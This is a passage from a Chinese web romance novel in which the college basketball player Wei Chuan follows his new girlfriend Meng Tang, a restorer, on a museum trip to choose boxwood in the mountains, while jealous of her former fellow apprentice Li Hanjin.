“我就说说。”魏川干笑了声,“阴阳怪气干什么?” 孟棠赶紧说:“好吃的,你别找事。” “就是。”许鹤清附和了声,“这么大的雨,有吃的就不错了。” 魏川:“我闭嘴行了吧。” 手机跳出没电提示,孟棠说:“我手机快没电了,先挂了。” “好。” 吃完饭,洗完澡,孟棠下意识看了眼手机,没有魏川的信息。 去床上怔怔等了半小时,人直接睡着了。 第二天早上又抱着手机看,依旧没有魏川的信息。 今天是周六,一天下来,孟棠有些恍惚。 谈恋爱第一天,她以为,魏川会约她出去。 等到天黑,孟棠强撑着情绪和室友去了食堂。 而此刻的魏川正面临三堂会审。 楚茵拿着手机给他看自己的截图:“你来告诉我,这是谁?为什么比赛完去抱人家?” 魏立峰也道:“我让助理去网上搜了下,得出一个结论。” 魏川有一种不祥的预感:“什么结论?” 魏立峰哼了声:“你恋爱的结论,赶紧告诉你妈,是不是就是你抱着的这个女孩。” “我靠,我20了,不是两岁。”魏川积极为自己赢得恋爱隐私权,“谈个恋爱有必要一脸严肃,火急火燎把我叫回来吗?我还以为家里要破产了。” 魏立峰忍了忍:“闭嘴,没一句好话,老子真破了产,第一个让你滚出家门,自立门户。” 魏川靠向沙发,小声反驳:“反正我养得起我自己。” “呵……”魏立峰气笑了,“大少爷,你能买得起你那一柜子的七位数的表吗?” 魏川彻底闭麦。 他买不起! 楚茵在魏川身边坐下:“到底是不是谈恋爱了?对方家里做什么的?哪儿的人啊?你打算什么时候带回来?” 提到家里做什么的,魏川心中一紧,孟怀璋的事,楚茵绝不可能接受。 人没追到,魏川也不可能让孟棠跟着他回家,便道: “妈,你到底在急什么?我之前一直忙着比赛,哪有时间谈恋爱,我这不是在追嘛,还没追到。” “你去年有一次放了全家鸽子,是不是为的她?” “我不是跟你们解释了。”魏川看着楚茵,“这事怪不到孟棠头上。” “我知道。”楚茵恨铁不成钢,“老严说了,你是人家的舔狗嘛。” 魏川:“……” 他是什么? 第117章 那我能不能跟你一起去 魏川的声音有些大,四周都是同学。 孟棠不想被人看笑话,端起餐盘走了出去。 魏川连忙跟上去。 出了餐厅,孟棠往南拐上小路。 她似乎知道魏川会追上来,走了一半就停了。 还不等魏川开口,孟棠转过身,拧着眉问:“你刚才的话是什么意思?” 魏川想要去握孟棠的肩,被她躲了过去。 “你先说,李寒津喜欢我是什么意思?他告诉你的?” 魏川点了点头:“他很早以前就喜欢你。” “很早以前?”孟棠懵了。 她和李寒津的交集都在16岁之前,难道他…… 孟棠简直不敢想,她那会儿才16啊,李寒津怎么会喜欢她? 过往的一切像雪花洋洋洒洒地浮现眼前,孟棠沉默了一瞬,明白了李寒津被赶出师门的原因。 也明白了老爷子为什么不让她和李寒津论过往交情。 这件事对孟棠冲击有点大,她对魏川说:“我先回寝室了。” “孟棠。”魏川将人拦住,直白道,“我没有不放心你的意思,任何一个喜欢的男性围在你身边,我都不爽。” 孟棠说:“可我不会因为你的不爽而不去。” “我知道。”魏川有些低落。 孟棠知道,再说下去没什么意义,魏川显然不想让她去。 “我先回寝室了。”孟棠神情也不太好。 魏川一屁股在花坛边坐下,如果他能跟教练请到假,不知道孟棠会不会生气。 魏川敢想敢干,当即给老贺打了电话,只说了“我想”两个字,就被他骂了一句“滚蛋”。 老贺很了解他们,不管是谁,一听语气就知道对方要干什么。 魏川泄气地回了寝室,在门口遇到了从外面回来的许鹤清。 “从哪儿回的?”魏川托着长长的尾音,随口问。 许鹤清说:“约会刚回来。” “……”魏川哦了声,“你们约会,都干什么?” “还能干什么?”许鹤清无语了,“吃饭、看电影、亲亲抱抱举高高。” “……行了行了,你别跟我说了。”魏川十分嫉妒。 许鹤清笑他:“你丧什么?” 魏川坐进椅子里,懒洋洋道:“惹孟棠生气了。” 许鹤清失笑:“怎么又把人惹生气了?” 魏川仰起头,问:“假如谢泠音要出门办事,一办就是三天,还是跟喜欢她的男生一起去的,你什么感觉?” 许鹤清冷笑:“我打不断她的腿。” 魏川摊手:“你看。” “孟棠要跟喜欢她的男生出远门?”许鹤清八卦道。 魏川说:“博物馆里一尊观音像修复的事,修复团队要进山取材,其中有一个喜欢孟棠,我自然不放心,而且只有她一个女生。” “实在不放心,你跟着去呗。”许鹤清说,“跟老贺请个假,全国赛不是延期了嘛。” 魏川叹气:“他让我滚。” 许鹤清又没忍住笑了声:“这样,我教你一招啊,你呢,明天就故意跟他唱反调,逼得他跟你1v1,事先谈好条件,你赢的话,让他批准你的假。” 魏川眼眸一亮,朝他竖起大拇指:“好主意。” 许鹤清拍了下他的胸口:“理解你。” 魏川没高兴多久,脸又垮了:“可孟棠不理解我,她好像不乐意我请假,也不乐意我跟过去。” “我也理解她。”许鹤清两边都不得罪,“她要进山,山里的情况捉摸不定的,你要是摔个胳膊缺个腿的,谁能付得了这个责任?” 魏川一愣:“原来她是这么想的吗?” 许鹤清:“……自己问她去呗。” 孟棠在寝室里撕着面包,眉头深锁,一副想不通的模样。 谢泠音推门进来,说:“赶紧的,看我给你们带什么好吃的。” 孟棠闻到了卤香味。 谢泠音给她拿了一盒鸡爪和果切。 “谢谢。” 只是心里有事,吃东西根本不香。 谢泠音察觉到,问她怎么了。 孟棠叹了声气,卸去力道扒着栏杆,楚楚可怜道:“有点烦,你跟我聊会儿吧。” “好。”谢泠音一口答应,“你往那边坐坐,咱俩边吃边聊。” 孟棠将椅子往后搬,给谢泠音让了一个位置出来。 她起初是在烦李寒津的事,可想着想着,就想到了魏川头上。 他对李寒津十分排斥,孟棠怎么可能不知道。 甚至因为他的一句话,对去闽州产生了动摇。 孟棠觉得这种想法很危险,总不能以后魏川不让她做什么,她都不去吧? “怎么了?跟我说说。” 孟棠把和魏川之前的小摩擦跟谢泠音说了一遍。 “我不喜欢他干涉我的事,我也不喜欢让他为我请假。” 谢泠音失笑:“你要是这么直接跟魏川说,我怕他哭。” “为什么?”孟棠看着谢泠音,“难道在一起了,就有权利去干涉对方的事?而且还是正事。” “正事自然不好干涉啊。”谢泠音给她解释,“可你俩的关系已经发生了变化,男生对于喜欢的人不可能没有占有欲,你看许鹤清,是不是风度翩翩的,实则就是小心眼一个。” “我要是跟别的男生出去,他肯定会说打断我的腿。” “我跟他以前就是因为缺乏沟通,才导致几次三番的分手,可心里舍不得,也就这么坚持了下来。” “你俩刚在一起,千万不要将事情都压在心里,要说出来。” “或者,你换位思考一下。” 换位思考? 魏川要是带着喜欢他的女生去哪儿…… 不行,想想都难受。 孟棠看了眼时间,倏地起身,对谢泠音说:“我出去一趟。” 谢泠音朝她挥了挥手。 出门才发现有点冷,但孟棠也懒得回去了。 她打开手机,给魏川拨去电话。 响了五六声才被接起,不过不是魏川接的,而是许鹤清。 孟棠一愣:“怎么是你?” 许鹤清说:“他洗澡去了,要去告诉他吗?” 孟棠忙道:“不用,等他洗完你告诉他,我在你们寝室楼后面的破旧篮球场等他。” “好。” 魏川洗完澡,光着上半身出来,见许鹤清拿着他手机,问: “有人给我打电话?” 许鹤清说:“孟棠给你打的,约你在破篮球场见面。” “**。”魏川 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魏川心脏重重一跳,半晌才找到自己的声音:“见我是不是有什么事要跟我说?” 孟棠点了点头:“我不是不让你跟,只是不想耽误你训练。” 魏川惊讶她前后改变这么大,一时也有点无措。 “我只是担心你的安全,还有下午那句话也是真的,真的受不了你跟李寒津一起。”魏川小心地觑着她,确认她没生气,又继续道: “我想到他以前喜欢你就觉得膈应,他现在回来z市发展,为的也是你。” “孟棠,你有没有想过,他一直都没打算放弃,一直朝着你慢慢地走。” 孟棠眨着大眼睛,一脸疑惑:“可我在朝你走啊。” 世间所有的情话加起来也不过如此。 魏川忽然抬手,揽住她后颈,将人拉进了怀中。 “那我能不能跟你一起去?” 孟棠甩着宽长的衣袖推开他,抬头问:“你训练怎么办?” 魏川问:“到闽州两个小时的高铁,你打算什么时候过去?” 孟棠说:“20号下午一点的车,我看过了,但还没买票。” 到了之后要在酒店和所有人商量一下进山事宜。 魏川说:“你先去,我结束六点的那场训练去找你,第二天陪你一起进山,周二上午我赶早走,你可以下午回,这样算下来,其实也就一天的时间,我随便加练两场就补回来了。” 孟棠犹豫了一瞬,问:“你真要跟我去闽州?” 魏川点了点头:“就你一个女生,我不放心,求求你体谅一下我,行吗?” 孟棠顿时心软了:“好,那我在酒店等你。” 魏川开心地“嗯”了声:“我现在就去订酒店,你住的哪个?” 孟棠说:“我订吧,你到时候直接找我。” “我直接找你?”魏川一时没反应过来,“那我把身份证发给你?” 孟棠失笑:“给**嘛,到时候给酒店前台登记。” 魏川愣了下,没明白她的意思。 他就算去登记,也要订房间吧?为什么孟棠要让他直接去找她? 第118章 住一个房间 对于孟棠的话,魏川丝毫不怀疑,他觉得照着做就行。 而孟棠主动找了他,这件事情比较重要。 他傻傻地笑了声:“我还打算明天有空再来找你,没想到你竟然先找了我。” 实在令人惊喜。 这是不是代表,他在孟棠的心里也越来越重要? 孟棠哼了声:“泠音说沟通很重要,我也不想带着心事睡觉。” “我没想惹你生气的。”魏川委屈巴巴地看着她。 “我知道。” 魏川拉了下她衣袖,说:“可我把李寒津喜欢你的事告诉了你,老爷子不会揍我吧?” “呵……他揍你?”孟棠觉得好笑,“你俩不是早就统一战线了吗?” “也是。”魏川轻笑了声,“你说老爷子当初为什么找我?是不是说明他特别特别不待见李寒津?” 孟棠勾唇浅笑:“他对李寒津没有多少意见,他只是借由你,不让他接近我罢了。” “哼,老头这件事做得不错。”魏川在心里短暂地原谅了一下他让孟棠毕业结婚生子的事,“不过我也很好奇,按理说,你也长大了,以前不都流行师兄娶师妹吗?李寒津好歹也是老头的得意门生,他怎么这么排斥?” 孟棠从鼻息溢出一声叹息的浅笑:“我大概知道爷爷的心思。” “我们家本就人口凋零,过个年都冷冷清清,李寒津孤家寡人,他自然不乐意我从一个清冷的地方,再到一个清冷的地方。” “爷爷其实很喜欢热闹,却孤寂了一辈子,他希望我能活得热闹些。” “那说的不就是我?”魏川不要脸地自我带入,“我家姐妹多,热闹得很。” “还有啊,我敢保证,我三个姐姐对你绝对没意见,奶奶也会喜欢你。” 孟棠惊了:“你不会跟家里人说了吧?” “没呢。”魏川略有心虚,生怕她有压力,“这才哪儿到哪儿?” 孟棠松了口气:“那就好,我还有一件事要跟你说,如果你要去就得答应。” 魏川点了点头:“你说。” “这是博物馆的修复项目,非专业人士不能跟着的,都有保密协议,你就算跟去闽州,也不能上山。” 魏川当即皱了眉头:“那我跟去的意义是什么?” “是啊,你跟去的意义是什么?”孟棠笑道,“要不不去了吧?” “不要。”魏川当即拒绝,“我要跟着。” “好,那就跟着。”孟棠无奈了。 魏川这才舒服,就算上不了山,他也得在山脚等着。 孟棠看了眼手机,说:“好了,时间不早了,你送我回寝吧。” “嗯,走。” 到了寝室门口,孟棠想要把外套还给他,被魏川拦下:“先上去吧,我又不缺这一件衣服。” 孟棠笑了笑:“那我上去了?” “嗯,去吧。” 回到寝室,孟棠已经完全变了个模样。 谢泠音瞥了眼她的外套,笑道:“呦,哄好了?” 孟棠点了点头:“果然还是要沟通。” 谢泠音给了她一个“朽木可雕”的眼神。 翌日上午,李寒津来找了孟棠。 孟棠没什么意外,知道他是为了去闽州的事来的。 “都准备好了?”李寒津问。 孟棠“嗯”了声:“都好了,不过酒店我自己订了。” 李寒津一愣:“你怎么自己订了?” 孟棠说:“魏川晚些时候过来,我就不和你们一个楼层了。” 大少爷金尊玉贵,她只能花大价钱订了套房。 李寒津脸色一沉,一把拉住孟棠的手腕:“他为什么要过来?” “你放开我。”孟棠抽回手,“他是我男朋友,他过不过来,跟你有关系吗?” 李寒津皱眉:“我们是上山取材,他跟着捣什么乱?孟棠,你什么时候这么恋爱脑了?” “他不进山。”孟棠看着李寒津,“只是我一个女生,他不放心,非得跟去闽州,这也不过分吧?” 李寒津冷笑:“他会不会太无理取闹了?” “你别在我面前说他坏话。”孟棠得知他喜欢自己后,到现在都有一种说不上来的异样。 总之不愿多作接触,她只能不着痕迹拉开距离,应付了两句就去了食堂。 魏川和老贺1v1,如愿得了一天半的假期。 晚上他来找孟棠吃饭,得意地向她描述了一遍自己完虐老贺的事。 孟棠静静听完,觉得好笑:“你请假不就行了?为什么要去找茬啊?” “你不了解老贺那人,不能让他心服口服,别说一天半,就是两小时都不行。”魏川将奶茶给她插上吸管,“还是许鹤清的办法管用。” 孟棠猛地咳了声:“许鹤清的主意?他看着不像这种蔫坏的人。” “哼,你对他很了解吗?”魏川心里发酸,“他不像这种蔫坏的人,我就像是吧?” 孟棠:“……” “你怎么不说话?不会真的认为他比我好吧?”魏川看着孟棠,瞪着那双大眼。 “什么跟什么。”孟棠拿起奶茶塞到他口中,“能不能消停点吃饭。” 魏川下意识裹着吸了口:“**,怎么这么甜?” 孟棠哼了声:“你喝的是我的。” 魏川一愣,她又把自己的东西给他吃了? **,好亲密啊! 魏川小心脏咚咚跳着,拿起自己的功能饮料灌了口。 孟棠见他脸都红了,觉得稀奇,不就一口奶茶嘛。 那天下雨,他抵着自己亲吻,也没见他脸红。 孟棠继续吃饭,闲聊似的,说:“今天李寒津来找我了。” “跟你说去闽州的事?”魏川难得没闻津色变。 孟棠点了点头:“我发现我现在面对他,有一种说不出来的怪异,反正不愿意多待。” “一个人让你不舒服了,你就要远离。”魏川说,“等观音像修复完毕,你以后还是别跟他见面了。” 孟棠说:“哪有这么容易,他不还在学校任职嘛,还有两年才毕业。” 操!魏川不爽地在心里骂了声。 回头让老魏和校长吃个饭,让李寒津从哪儿来滚哪儿去。 孟棠不知道魏川心里的小九九,吃的有点撑了,问魏川要不要围着人工湖转转。 难得的约会机会,傻子才会拒绝。 只是去了,魏川又后悔了。 一路 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这点距离对他来说不算什么,倒是孟棠,整天窝在工作室,确实要锻炼,晚上走两圈也是好的。 — 20号下午,孟棠和博物馆一众人,外加李寒津一起上了高铁。 李寒津和同行的还了位置,和孟棠坐在了一起。 孟棠余光瞥到,整个人靠着窗户,戴上了耳机。 正好魏川发来了消息,她一边听歌一边回复:【上车了。】 魏川:【好,我训练去了,晚上七点的高铁,到酒店估计要九点多了,你第二天还要上山,困就自己先睡。】 孟棠:【十一点之前,我都等你。】 魏川心下一热,回:【好。】 下午火急火燎地结束了训练,他自己开车去了高铁站。 从出发,到安检,再到进站上车,他都给孟棠发了图片。 孟棠的手机一会儿就震一下,也不觉得烦,只是宠溺地笑了声,还问魏川要吃什么,她待会儿给他买。 魏川确实没吃饭,也饿得慌,让孟棠看着办。 两个小时后,魏川出了高铁站,打车直奔孟棠所在的酒店。 孟棠已经跟前台说过了,但魏川并不知道。 当他出示证件后,没一会儿,就有人引领他进了电梯。 “先生,您的房间在2807。” 魏川“哦”了声,电梯上一半他才发现,好像没给他房卡,他也没给钱啊。 可房间号都给他了,难道是孟棠先开了? 可她是怎么开的? 上了28楼,魏川狐疑地出了电梯。 他顺着指示找到了房间号,试探性地敲了敲。 “来了。” 魏川松了口气,果然是孟棠。 孟棠开了门,笑道:“进来吧。” 魏川进去,扫了眼格局:“你开的套房啊?” “对啊。”孟棠指了指另外一个房间,“这里是酒店最高标准的房间,今晚你睡那儿,我睡这儿。” 魏川一愣,住一个房间? 第119章 他都恨不得睡一张床上 “进来啊。” 孟棠见他愣着,往里指了指。 魏川还是没反应过来,问:“我住这里吗?” “不然呢?”孟棠仰头看着他,“这是最好的房间了。” “我是说,我们两个。”魏川的手指在两人之间来回移动,“住在一个房间里面吗?” “谁跟你住一个房间。”孟棠白他一眼,“这是套间,有两个卧室的,我那个小一点,你的房间大一点。” 魏川蹙眉:“你怎么住小房间?” “我够睡就行。”孟棠说,“大房间的床是一米八的,勉强够你睡,小房间的床小一点,你睡不了的。” 她一个人睡是正好的。 魏川找不着话,只是点了点头。 孟棠指了指他的房间:“你把包放进去吧,我买了吃的,去吃完。” 魏川十分听话,将包扔进房间后,拿了手机来了客厅。 孟棠将筷子给他:“我吃过了,你自己吃,我还有点东西要看。” 说着,她就捧着平板在魏川对面坐了下来。 魏川饿惨了,但吃相很好。 他时不时就要看一下孟棠,依旧没能从孟棠花大价钱开了套间这件事中回神。 她为什么要开套间? 按照他俩现在的关系,能住一个屋檐下吗? 她就不怕自己对她做什么?还是说,她就那么信任他? 可这也太没安全意识了。 魏川吃了个半饱,动作慢了下来,他抬眸瞥了眼孟棠,说:“你怎么——” “等一下。”孟棠打断他,“等我看完东西再说好吗?” “哦,你在看什么?”魏川还是没忍住问了句。 “谷雨时节木材含水率的对照表。”孟棠从平板上抬眸,“你吃完可以先去洗澡。” 魏川呛了声。 “我已经洗过了。”孟棠说,“我看完这些,也差不多要睡了。” 魏川嘀咕了句:“我这来跟没来有什么区别?” “你说什么?”孟棠放下平板。 “没有。”魏川起身将残羹冷炙收拾好,“我去扔一下垃圾。” 放在房间里有味。 刚出门,碰到了李寒津,魏川拎着垃圾停在门口,主动开口:“有事?” “你还真来了?”李寒津嗤笑一声,“来宣誓你的主权?” 魏川皮笑肉不笑:“来警告你离别人的女朋友远一点。” 李寒津耸了下肩:“那怎么办?明天我们还要一起进山,小时候师父总会带我们进山,一天下来,孟棠的体力坚持不了,都是我背着的。” 魏川默默捏紧了拳头,不爽地咬了下牙根,下颌线连着脖颈绷紧着几条青筋。 他皮肤白,看着要爆了似的。 孟棠听到动静,从屋里出来,见他绷着神色,走过去问:“你怎么了?” 魏川收敛冰冷的神色,将垃圾转到另一只手上,转眸对孟棠笑了笑:“没事。” 孟棠看到李寒津,讶异他这么晚过来,说:“找我有事?” 李寒津说:“明天进山,就来看看你睡没睡,顺道跟你说一声,刚才林业局的老陈打了电话过来,说他带队,先坐车去检查站,再徒步。” 孟棠点了点头:“好,我知道了,我马上就睡了,有什么明天再说吧。” 李寒津微微颔首,却没动一下。 孟棠看向魏川:“我陪你一起?” “啊?”魏川一时没反应过来要陪他干什么。 孟棠无奈一笑:“陪你扔垃圾,傻子。” “好。”魏川找回了笑,眼睛都弯到了尽头。 两人穿过很长一段走廊,将垃圾扔进了电梯口前的垃圾桶。 魏川跟着孟棠转身往房间走,快进屋时,他忽然上前一步,抬手挡住了她的去路。 孟棠仰起头,满脸疑惑:“干嘛?” “问你个问题。”魏川直勾勾盯着她。 孟棠:“嗯,你问。” “为什么不开两间房?” “不是两间房吗?”孟棠说,“一人一个睡觉的房间。” “我的意思是两个屋子,不连通的那种。”魏川跟她解释,“就是我也有房卡的那种。” 孟棠一下冷了脸,她推了把魏川的胸口:“爱住不住。” 魏川一愣,生气了? “孟棠。” “我要睡觉了,别叫我。” 孟棠懒得理他,径自回了房间,反锁了门。 魏川去敲门:“最起码告诉我为什么生气吧?” “魏川,你要是不想住,你就自己去开一间房。”孟棠回,“不早了,我真的要睡了。” 她明早要早起,魏川没办法,只能跟她说了“晚安”。 孟棠有点睡不着,但她能克制着不去拿手机。 就这么闭着眼酝酿睡意,再睁开时,闹钟响了。 孟棠赶紧起床换好衣服,盘好长发,刷牙洗脸。 魏川迷迷糊糊冒出来,揉着眼睛,哑着嗓子问:“你现在就走?” 孟棠身体一抖,被他吓了一跳。 她将洗脸巾挂在洗手池边,出了盥洗室,问:“你怎么醒了?” 魏川说:“我陪你一起出吃早饭,送你到山脚。” “不用。”孟棠说,“早餐都是一起吃的,车也应该到了,你去不方便。” “哦。”魏川应了声,“那你昨晚为什么生气?” 一夜过去,这点气早没了,孟棠说:“我昨晚以为你不想和我住一起。” 魏川:“……” 他真的是冤枉死了,他都恨不得睡一张床上。 但是能吗?不能啊。 “那你为什么订这样的房间?”魏川换了个方式询问。 “这是最好的一个套间。”孟棠拿了包,将手机塞进去,“你既然要过来,我还能让你这个大少爷去住别的房间吗?” 魏川一愣,原来只是为了让他住得舒服。 孟棠拿起外套套上,回头瞥了眼魏川:“你还愣着干什么?回去睡觉吧。” 魏川拔下房卡:“我送你下去。” “最起码套个外表吧。”孟棠推了他一把,“早上冷。” 魏川只好回房间拿了件白色的冲锋衣穿上。 肩宽腿长,本就是衣架子,孟棠直接看呆了。 “发什么呆呢?”魏川笑着捏住她后颈,帮她转了身体。 “没有。”孟棠小声反驳,“只是在想些事情。” 男朋友太帅,看呆了这事也太过花痴了。 到了酒店楼下,一眼扫过去,李寒津还没到。 博物馆跟着拍照的工作人员见到孟棠,笑着打了声招呼。 孟棠也笑着跟一一打了招呼,随后转头跟魏川说: “车已经到了,你先上去吧,最多五分钟,我就走了。” 魏川余光瞥到李寒津从酒店出来,帮孟棠整理了下衣领,说: “我下午去接你,行吗?” “要是不让你接,岂不是让你白来一趟。”孟棠笑道,“想接你就接。” 魏川开心了。 林业局的向导见人到齐了,说:“大家先一起吃个饭,吃完饭咱们就上山。” 孟棠朝魏川挥了挥手,示意他上楼。 半小时后,孟棠到了登记站,与林业局核对手续后,几个人被放行。 山间雾气像流动的云,孟棠拉紧冲锋衣的领口,缓缓呼出一口白气。 向导检查了一下所有人的装备,说:“进山。” 摄影师调着相机参数,走在最后一个位置。 他要记录采料过程,作为修复档案的证据。 山路越来越陡,孟棠一不小心踩滑了,李寒津一把捞住她手臂:“没事吧?” 孟棠摇了摇头:“没事,走吧。” 向导在前方开路,挥舞的开山刀惊醒了林中的鸟雀,震得翅膀乱颤。 半小时后,地质局的顾问拿出土壤的采样器,说:“这里的土壤很适合黄杨木的生长,PH值6.2,含水量38%,很理想。” 孟棠和老匠人对视了一眼,从包里掏出一把凿子,在树干上轻轻刮开树皮。 她邀请老匠人一起去看木质部的颜色纹理,问:“您怎么看?” 老匠人眯了眯眼:“年轮密实,不错是不错,但……” “但还差点意思。”孟棠补充了一句,“再往里走走,我们要找的木料,要从外观、密度和硬度等方面都得接近观音像的本料才行。” 几人又继续往前,中午的时候,在溪涧边歇息。 孟棠打开包,拿出豆腐干和牛肉脯,大家带的东西都不一样,分一分,聊聊天,时间一会儿就过了。 他们只歇了半小时,又继续往前。 快两点的时候,孟棠有些走不动了,她在背风的山坳间一屁股坐下。 还没歇两口气,她忽然眼眸一亮:“你们看那边。” 几人回头,看到了几棵格外粗壮的黄杨树。 老匠人上前,用粗糙的掌心抚过树木,说:“这树皮的裂纹,和观音像底座的老料一模一样。” 地质局的顾问立刻检测周围的土壤条件,孟棠拿出放大镜,仔细和样本对比。 她轻叩树干,回响沉闷,说:“年轮间距均匀,木质紧密。” 李寒津取了标记带递给孟棠,说:“这片林子少说五十年没人动过。” 孟棠将标记带榜上树干,点了点头。 所有人松了口气,可算找到了。 返程的路上,明显轻松了许多。 李寒津见孟棠累得脸色惨白,说:“要不我背你?” 孟棠摇了摇头:“我可以,快走吧。” 这一走又是两小时,直至夕阳的余晖穿透每一片缝隙,他们才抵达半山腰的登记站。 孟棠的手机响起,不用接就知道是魏川。 她一边下山一边从包里拿出手机。 刚接通,那头就问:“回来了没有?” 孟棠说:“还有半小时就能到山脚了。” “你慢点。”魏川听出她很累,“我现在上去接你。” “别来回跑了。”孟棠说,“老实在下面待着。” “半小时的山路而已,我跑得很快。” 说着,魏川挂断了手机,不给她拒绝的机会。 第120章 起床了,咱们还要赶车 孟棠确实走不动了,腿已经没了知觉。 她和老匠人一起在台阶上歇着,看看夕阳,吹吹晚风。 看他们歇着,其他人也停了下来,总不能把人扔下。 孟棠看向李寒津:“你扶着老师傅先下山吧,魏川上来接我,我就不跟大巴回酒店了。” 大家都知道早上的小伙子是她男朋友,没人提出异议。 李寒津回首望着她,孟棠余光察觉到,只当不知道。 “你一个人真的行吗?”摄影师不放心,“你跟着我们后面慢慢走,见到你男朋友了,咱们再分开。” 孟棠不想他们担心,又重新站了起来,说:“那就慢慢走吧。” 走了10多分钟,一道白影倏地蹿了上来。 孟棠直接惊了:“这么快?” 魏川喘着粗气,在她身边停下:“总不能……让你等太久。” “孟棠,那我们先下山了。” 孟棠朝他们挥了挥手,缓慢地撑着杆坐在台阶上,小声道:“累死了。” 累是真的,撒娇也是。 魏川在她下面两个台阶上坐下来,说:“腿伸过来,给你按按。” 孟棠眨巴着大眼睛看着他。 魏川“啧”一声:“伸过来啊,不然你明天路都走不了,我整天训练理疗的,你还不相信我?” 孟棠将腿伸了过去。 魏川一手托住她脚踝,一手握住她小腿肌肉,从下往上,用指腹拧毛巾似的揉捏。 山间暮色温柔,穿过层层树木在石阶上落下斑斑光影。 孟棠的一条腿还在魏川的手中,只能撑着自己靠在台阶上。 一大片光落在他的后背,将他整个人的轮廓补上了一层晕染的白光。 魏川放下她的腿,说:“那条腿伸过来。” 孟棠将左腿撑着,右腿伸了过去。 魏川揉得特别专心,还控制着力道,生怕弄疼她。 孟棠可以感觉得出来,因为她看过魏川帮队友放松的样子。 噼里啪啦的,动作也很粗鲁,下手没轻没重。 两条腿各自揉了两分钟后,他又用手掌轻轻拍打膝盖周围。 “重不重?”魏川问她。 孟棠摇了摇头:“不重。” “1分钟就好,我再顺时针给你揉一下膝盖上方的髌骨边缘,可以缓解你上下山导致的关节不适。” 孟棠轻轻嗯了声。 全腿揉了十多分钟,魏川终于松开了她。 有一点效果,但还是感觉灌了铅似的。 六点进山,走了将近十个小时,按摩也只能缓解。 暮色正浓,孟棠不想动,她曲起双腿,双臂交叉垫上去,随后歪头趴着,魏川正好在此刻回了头。 四目相对,眸底的情绪化作天边的流云,泛着粉紫的霞光。 魏川轻笑:“看完落日,我背你下山?” 孟棠应道:“好。” 两人就在山腰上欣赏了一场极为短暂的日落。 美丽的事物总是消散得快,可身边的人一直都在。 孟棠戳了下魏川:“天色暗了,下山吧。” 魏川转过身:“上来吧。” 孟棠攀住他肩膀,整个人依偎了过去。 “走喽。”魏川一把将人兜起,力气大到孟棠一把搂住了他脖颈。 魏川得逞地笑了声,孟棠拍了下他的肩:“你故意的。” “搂紧了,我真要下了。”魏川避重就轻。 孟棠哼了声,默默搂紧了他的脖子。 “别撑着,趴下来。”魏川侧过头,“一点也不重,快点。” 他托了一下孟棠,孟棠只好卸去浑身的劲儿,趴在他肩头。 因为背着她,魏川不敢跑,只能一阶一阶往下走。 这人体力是真好,不见喘,但有汗。 孟棠抬起手,默默擦去他鬓间的汗水。 魏川脚步一顿,回眸冲她笑了笑。 孟棠凑近,双唇轻轻贴了下他的脸颊,蜻蜓点水,十分纯情。 魏川瞳孔震颤,心里闪过无数个“卧槽”。 “走啊。”孟棠在他耳边浮着气息。 魏川终于回过神,继续往山下走。 快到山脚的时候,他突然说:“你知道,我为什么想要来接你吗?” 孟棠摇了摇头:“不知道。” 魏川又将她往上兜了兜,说:“因为想这样背你下山。” “为什么?”孟棠小声问,声音带着明显的疲惫。 “因为昨天李寒津说,你们小时候一块上山,就是他背你下来的。”魏川语气发酸。 想起来他就不爽。 孟棠没忍住轻笑。 魏川拧起了眉:“笑什么?看我吃醋,你很开心?” “开心。”孟棠捏了下他的脸,“你好傻,他说的话你也信。” 魏川一愣:“没有吗?” “当然没有了。”孟棠失笑,“小时候进山又不赶时间,以教学为主,很悠闲的。” “操。”魏川骂了声,“他耍我。” 孟棠一把捂住他的嘴:“别说脏话,你是不是以为很帅?” “唔……”魏川摇了摇头。 孟棠放开他。 魏川说:“口头禅,有时候打球急了,或者兴奋了,不自觉就冒了出来。” 孟棠突然轻笑了声:“其实也看情况,分区赛的时候,队里被犯规,那会儿骂人就很帅。” “还给我双标起来了。”魏川背着她出了山脚的门。 “但其实,你最帅的时候是拦住田聿,让他后退的时候。” 魏川在路边将她放下,随后起身搂住她的肩膀,说:“我也觉得那会儿我挺帅的。” 孟棠靠着他,无声勾了勾唇。 “对了,你明天几点的票啊?” 魏川回:“上午九点。” 孟棠点了点头:“我跟你一起回吧。” “真的?”魏川一喜,“可以跟我一起回吗?” “可以啊,木料已经做了标记,剩下的也不是我的事,只等博物馆运了料子过来,我再过去一起修复。” “行,那就一起回。” 魏川反正是巴不得。 怕她腿软,也怕她累,魏川单手穿过她的腰,支撑着她整个人。 另一只手从口袋里掏出手机,开始打车。 天彻底暗了下来,孟棠累到站不住,只能靠着魏川。 “在外面吃还是回酒店吃?”魏川低头问她,语气轻柔。 回酒店还得买,吃完还得收拾,孟棠说:“就在外面吃一口吧。” 打的车到了,魏川揽着孟棠进了后座。 魏川跟师傅说了个地址,孟棠看着他:“这是哪儿?” 魏川说:“下午那会儿无聊,就搜了搜附近的餐厅。这是一家挺有个性的花园餐厅,离酒店也不太远。” 开车十二三分钟就到了,孟棠双腿发软,基本是被魏川带着走。 餐厅就掩在不起眼的道路里,要不是晚上光影灿烂还找不到。 今天周一,生意不算好。 孟棠和魏川找了个靠窗的好位置坐下,点了四道菜。 两人安安静静地吃完就回了酒店。 魏川见她实在累,说:“赶紧去洗澡,洗完澡休息。” 孟棠应了声,拿了衣服进了浴室。 魏川在外面也不太方便,回了自己房间。 他一直听着外面的动静,直至一个小时,孟棠才从浴室出来。 见她包裹着头发,魏川蹙了蹙眉:“这么晚了,你还洗头?” 孟棠无精打采地点了下头:“山里走了一天,能不洗吗?” 她拎着吹风机,去了客厅,边走边回头跟魏川说:“你也去洗吧,我吹头发。” “好。” 魏川洗澡很快,二十分钟就出来了。 他的短发手指拨两下就能干。 出来的时候,没听到吹风机的声音,他还以为孟棠已经去睡了,哪知道在沙发上睡着了。 魏川赶紧走过去,摸了下她的头发,还潮着呢。 他蹲在沙发边,拿起吹风机,开了最小档慢慢地吹。 魏川时不时扫一眼孟棠,生怕她醒过来。 她的头发很长,也厚,平时吹干都要好久,低档吹的话,更是能把人耐心全部耗尽。 可魏川却乐在其中,她的头发好软,每一根从他指缝中滑过,都能引起他每一根神经的共鸣。 他耐着十二分的性子,花了将近四十分钟,才将孟棠的长发彻底吹干。 起身的时候,腿麻到完全失去了知觉。 魏川将吹风机送回了浴室,等到腿彻底不麻了,才将孟棠打横抱起。 孟棠在睡梦里陡然悬空,吓得睁开了眼睛,只是模模糊糊的,显然还不清醒。 魏川立刻将人送进房间,小心翼翼地松开,拍了拍她:“睡吧。” 